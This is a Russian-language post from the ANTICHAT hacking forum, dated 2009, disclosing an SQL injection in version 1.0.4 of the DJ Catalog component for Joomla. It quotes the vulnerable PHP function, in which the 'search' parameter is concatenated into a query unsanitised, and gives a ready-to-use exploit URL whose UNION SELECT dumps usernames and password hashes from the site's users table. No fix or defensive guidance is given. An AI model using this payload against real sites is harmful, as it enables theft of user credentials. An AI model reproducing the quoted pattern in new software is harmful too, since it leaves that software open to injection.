ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

  #11  
Старый 06.11.2009, 17:43
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
С нами: 9477026

Репутация: 2362
По умолчанию
Уязвимость: SQL-Inj
Компонент: DJ Catalog
Версия: 1.0.4
Требования: magic_quotes_gpc = off
Файл: /components/com_djcatalog/models/show.php
PHP код:
    function getAllElements(){
            
            global $mainframe;
        $par =& $mainframe->getParams('com_djcatalog');
        
            $limit        = $par->get('limit_items_show');
            
            $limitstart    = JRequest::getVar('limitstart', 0, '', 'int');
            $producer_id = JRequest::getVar('pid', 0, '', 'int');
            $search = '';
            if(JRequest::getVar('search','0','string')!='0'){
                $search = " AND name LIKE '%".JRequest::getVar('search','0','string')."%' ";
            }
            
            $producer = '';
            if($producer_id){
                $producer = ' AND producer_id LIKE '.$producer_id. '';
            }
            $order = JRequest::getVar('order');
            $db= &JFactory::getDBO();
            switch ($order) { ... }
            $query = "SELECT * FROM #__djcat_items WHERE 1 ".$producer.$search.$orderQuery;
            $db->setQuery($query);
            $Arows = $this->_getList($query, $limitstart, $limit);    

            return $Arows;
    } 
Эксплойт:
Код:
/index.php?option=com_djcatalog&view=show&search='+and+0+union+select+1,2,3,username,5,password,7,8,9,10,11+from+%23__users%23
__________________
включи голову
 
Ответить с цитированием
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Уязвимости CMS / форумов 49 02.04.2015 17:48
Обзор бесплатных Cms em00s7 PHP 16 03.07.2009 13:13
Cms Cawabunga PHP 20 05.08.2007 00:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.